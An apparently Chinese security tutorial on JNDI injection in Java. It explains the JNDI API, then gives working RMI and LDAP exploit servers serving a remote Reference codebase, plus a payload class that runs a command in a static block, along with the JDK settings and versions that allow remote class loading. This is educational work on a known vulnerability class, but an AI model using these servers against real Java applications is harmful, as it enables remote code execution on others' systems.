Java之JNDI注入的實現(xiàn)
About JNDI
0x01 簡介
JNDI(Java Naming and Directory Interface)
是SUN公司提供的一種標(biāo)準(zhǔn)的Java命名系統(tǒng)接口,JNDI提供統(tǒng)一的客戶端API,通過不同的訪問提供者接口JNDI服務(wù)供應(yīng)接口(SPI)的實現(xiàn),由管理者將JNDI API映射為特定的命名服務(wù)和目錄系統(tǒng),使得Java應(yīng)用程序可以和這些命名服務(wù)和目錄服務(wù)之間進(jìn)行交互。目錄服務(wù)是命名服務(wù)的一種自然擴展。通過調(diào)用JNDI
的API
應(yīng)用程序可以定位資源和其他程序?qū)ο蟆?code>JNDI是Java EE
的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 數(shù)據(jù)源)
,JNDI
可訪問的現(xiàn)有的目錄及服務(wù)有:DNS、XNam 、Novell目錄服務(wù)、LDAP(Lightweight Directory Access Protocol輕型目錄訪問協(xié)議)、 CORBA對象服務(wù)、文件系統(tǒng)、Windows XP/2000/NT/Me/9x的注冊表、RMI、DSML v1&v2、NIS。
0x02 JNDI的用途
JNDI(Java Naming and Directory Interface)是一個應(yīng)用程序設(shè)計的API,為開發(fā)人員提供了查找和訪問各種命名和目錄服務(wù)的通用、統(tǒng)一的接口,類似JDBC都是構(gòu)建在抽象層上?,F(xiàn)在JNDI已經(jīng)成為J2EE的標(biāo)準(zhǔn)之一,所有的J2EE容器都必須提供一個JNDI的服務(wù)。
0x03 日常使用
其實簡單看簡介會有點感覺JNDI類似于RMI中的Registry,將其中某一命名服務(wù)和相應(yīng)對象進(jìn)行綁定,當(dāng)需要調(diào)用這個對象中的方法時,通過將指定的名稱作為參數(shù)帶入lookup去尋找相應(yīng)對象。比如在開發(fā)中經(jīng)常用到其去加載實現(xiàn)動態(tài)加載數(shù)據(jù)庫配置文件,而不用頻繁修改代碼。
平常使用JNDI注入攻擊時常用的就是RMI和LDAP。并且關(guān)于這兩種協(xié)議的使用還有些限制,這也會在本文后面提到。
0x04 JNDI命名和目錄服務(wù)
Naming Service 命名服務(wù):
命名服務(wù)將名稱和對象進(jìn)行關(guān)聯(lián),提供通過名稱找到對象的操作,例如:DNS系統(tǒng)將計算機名和IP地址進(jìn)行關(guān)聯(lián)、文件系統(tǒng)將文件名和文件句柄進(jìn)行關(guān)聯(lián)等等。
Directory Service 目錄服務(wù):
目錄服務(wù)是命名服務(wù)的擴展,除了提供名稱和對象的關(guān)聯(lián),還允許對象具有屬性。目錄服務(wù)中的對象稱之為目錄對象。目錄服務(wù)提供創(chuàng)建、添加、刪除目錄對象以及修改目錄對象屬性等操作。
Reference 引用:
在一些命名服務(wù)系統(tǒng)中,系統(tǒng)并不是直接將對象存儲在系統(tǒng)中,而是保持對象的引用。引用包含了如何訪問實際對象的信息。
這個點用到的也比較多,下面會詳細(xì)講。
前置知識
主要是一些常用類和常見方法的小結(jié),copy自nice_0e3師傅文章
InitialContext類
構(gòu)造方法:
InitialContext() 構(gòu)建一個初始上下文。 InitialContext(boolean lazy) 構(gòu)造一個初始上下文,并選擇不初始化它。 InitialContext(Hashtable<?,?> environment) 使用提供的環(huán)境構(gòu)建初始上下文。 InitialContext initialContext = new InitialContext();
在這JDK里面給的解釋是構(gòu)建初始上下文,其實通俗點來講就是獲取初始目錄環(huán)境。
常用方法:
bind(Name name, Object obj) 將名稱綁定到對象。 list(String name) 枚舉在命名上下文中綁定的名稱以及綁定到它們的對象的類名。 lookup(String name) 檢索命名對象。 rebind(String name, Object obj) 將名稱綁定到對象,覆蓋任何現(xiàn)有綁定。 unbind(String name) 取消綁定命名對象。
Reference類
該類也是在javax.naming
的一個類,該類表示對在命名/目錄系統(tǒng)外部找到的對象的引用。提供了JNDI中類的引用功能。
構(gòu)造方法:
Reference(String className)
為類名為“className”的對象構(gòu)造一個新的引用。
Reference(String className, RefAddr addr)
為類名為“className”的對象和地址構(gòu)造一個新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
為類名為“className”的對象,對象工廠的類名和位置以及對象的地址構(gòu)造一個新引用。
Reference(String className, String factory, String factoryLocation)
為類名為“className”的對象以及對象工廠的類名和位置構(gòu)造一個新引用。
代碼:
String url = "http://127.0.0.1:8080"; Reference reference = new Reference("test", "test", url);
參數(shù)1:className
- 遠(yuǎn)程加載時所使用的類名
參數(shù)2:classFactory
- 加載的class
中需要實例化類的名稱
參數(shù)3:classFactoryLocation
- 提供classes
數(shù)據(jù)的地址可以是file/ftp/http
協(xié)議
常用方法:
void add(int posn, RefAddr addr) 將地址添加到索引posn的地址列表中。 void add(RefAddr addr) 將地址添加到地址列表的末尾。 void clear() 從此引用中刪除所有地址。 RefAddr get(int posn) 檢索索引posn上的地址。 RefAddr get(String addrType) 檢索地址類型為“addrType”的第一個地址。 Enumeration<RefAddr> getAll() 檢索本參考文獻(xiàn)中地址的列舉。 String getClassName() 檢索引用引用的對象的類名。 String getFactoryClassLocation() 檢索此引用引用的對象的工廠位置。 String getFactoryClassName() 檢索此引用引用對象的工廠的類名。 Object remove(int posn) 從地址列表中刪除索引posn上的地址。 int size() 檢索此引用中的地址數(shù)。 String toString() 生成此引用的字符串表示形式。
JNDI Demo
下面看一段代碼,是一段易受JNDI注入攻擊的demo
主要是調(diào)用的lookup
方法中url
參數(shù)可控,那么可能會導(dǎo)致JNDI注入漏洞的產(chǎn)生。
import javax.naming.InitialContext; import javax.naming.NamingException; public class JNDIDemo { public void Jndi(String url) throws NamingException { InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
JNDI+RMI攻擊手法
限制條件:
在RMI
服務(wù)中引用遠(yuǎn)程對象將受本地Java環(huán)境限制即本地的java.rmi.server.useCodebaseOnly
配置必須為false(允許加載遠(yuǎn)程對象)
,如果該值為true
則禁止引用遠(yuǎn)程對象。除此之外被引用的ObjectFactory
對象還將受到com.sun.jndi.rmi.object.trustURLCodebase
配置限制,如果該值為false(不信任遠(yuǎn)程引用對象)
一樣無法調(diào)用遠(yuǎn)程的引用對象。
JDK 5U45,JDK 6U45,JDK 7u21,JDK 8u121
開始java.rmi.server.useCodebaseOnly
默認(rèn)配置已經(jīng)改為了true
。JDK 6u132, JDK 7u122, JDK 8u113
開始com.sun.jndi.rmi.object.trustURLCodebase
默認(rèn)值已改為了false
。
本地測試遠(yuǎn)程對象引用可以使用如下方式允許加載遠(yuǎn)程的引用對象:
System.setProperty("java.rmi.server.useCodebaseOnly", "false"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
JNDIServer
import javax.naming.InitialContext; import javax.naming.NamingException; public class JNDIServer { public static void main(String[] args) throws NamingException { String url = "rmi://127.0.0.1:1099/ExportObject"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
JNDIExploitServer
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.Arrays; public class JNDIExploitServer { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { //創(chuàng)建Registry Registry registry = LocateRegistry.createRegistry(1099); String url = "http://127.0.0.1:8080/"; // 實例化一個Reference嘗試為遠(yuǎn)程對象構(gòu)造一個引用 Reference reference = new Reference("ExploitObject", "ExploitObject", url); // 強轉(zhuǎn)成ReferenceWrapper,因為Reference并沒有繼承Remote接口,不能直接注冊到Registry中 ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("ExportObject", referenceWrapper); System.out.println("Registry&Server Start ..."); //打印別名 System.out.println("Registry List: " + Arrays.toString(registry.list())); } }
ExploitObject
public class ExploitObject { static { try { Runtime.getRuntime().exec("open -a Calculator"); } catch (IOException e) { e.printStackTrace(); } } public static void main(String[] args) { System.out.println("Calc Running ..."); } }
先啟動惡意的JNDIExploitServer,然后運行JNDIServer,當(dāng)調(diào)用initialContext.lookup(url)
方法時,會通過rmi協(xié)議尋找ExportObject對應(yīng)的對象referenceWrapper
,而referenceWrapper
為遠(yuǎn)程對象ExploitObject
的引用,所以最終實例化的是ExploitObject
從而觸發(fā)靜態(tài)代碼塊執(zhí)行達(dá)到任意代碼執(zhí)行的目的。
在此期間遇到了幾個坑點,記錄一下:
- JDK的限制,測試環(huán)境延用了RMI時的JDK7u17
- 在編譯ExploitObject類時使用的javac版本最好和idea中測試環(huán)境版本一致,可以通過cmdl指定jdk版本的javac去編譯;且生成的class文件不要帶有包名(例如:
package com.zh1z3ven.jndi
),指定版本javac編譯命令:/Library/Java/JavaVirtualMachines/jdk1.7.0_17.jdk/Contents/Home/bin/javac ./main/java/com/zh1z3ven/jndi/ExploitObject.java
JNDI+LDAP攻擊手法
這里的限制是在8u191之前
copy一段LDAP的Server端代碼
LdapServer
import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main(String[] argsx) { String[] args = new String[]{"http://127.0.0.1:8080/#ExploitObject"}; int port = 7777; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
JNDIServer2
public class JNDIServer2 { public static void main(String[] args) throws NamingException { String url = "ldap://127.0.0.1:7777/ExploitObject"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
ExploitObject
public class ExploitObject { static { try { Runtime.getRuntime().exec("open -a Calculator"); } catch (IOException e) { e.printStackTrace(); } } public static void main(String[] args) { System.out.println("Calc Running ..."); } }
Reference
如何繞過高版本 JDK 的限制進(jìn)行 JNDI 注入利用:https://paper.seebug.org/942/
javasec
https://www.cnblogs.com/nice0e3/p/13958047.html
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
https://paper.seebug.org/1091/
https://security.tencent.com/index.php/blog/msg/131
https://paper.seebug.org/1207/
到此這篇關(guān)于Java之JNDI注入的實現(xiàn)的文章就介紹到這了,更多相關(guān)Java JNDI注入內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
git stash 和unstash的使用操作,git unstash failed
這篇文章主要介紹了git stash 和unstash的使用操作,git unstash failed,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2021-02-02使用注解+RequestBodyAdvice實現(xiàn)http請求內(nèi)容加解密方式
這篇文章主要介紹了使用注解+RequestBodyAdvice實現(xiàn)http請求內(nèi)容加解密方式,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2021-06-06實例詳解Spring Boot實戰(zhàn)之Redis緩存登錄驗證碼
本章簡單介紹redis的配置及使用方法,本文示例代碼在前面代碼的基礎(chǔ)上進(jìn)行修改添加,實現(xiàn)了使用redis進(jìn)行緩存驗證碼,以及校驗驗證碼的過程。感興趣的的朋友一起看看吧2017-08-08使用mybatis-plus-generator進(jìn)行代碼自動生成的方法
這篇文章主要介紹了使用mybatis-plus-generator進(jìn)行代碼自動生成的方法,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-06-06Java字節(jié)緩存流的構(gòu)造方法之文件IO流
這篇文章主要介紹了Java字節(jié)緩存流的構(gòu)造方法之文件IO流,同時也介紹了字符流中的一些相關(guān)的內(nèi)容,并且通過大量的案例供大家理解。最后通過一些經(jīng)典的案例幫助大家對前面所學(xué)的知識做了一個綜合的應(yīng)用,需要的朋友可以參考一下2022-04-04Spring Boot Feign服務(wù)調(diào)用之間帶token問題
這篇文章主要介紹了Spring Boot Feign服務(wù)調(diào)用之間帶token的操作,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2021-09-09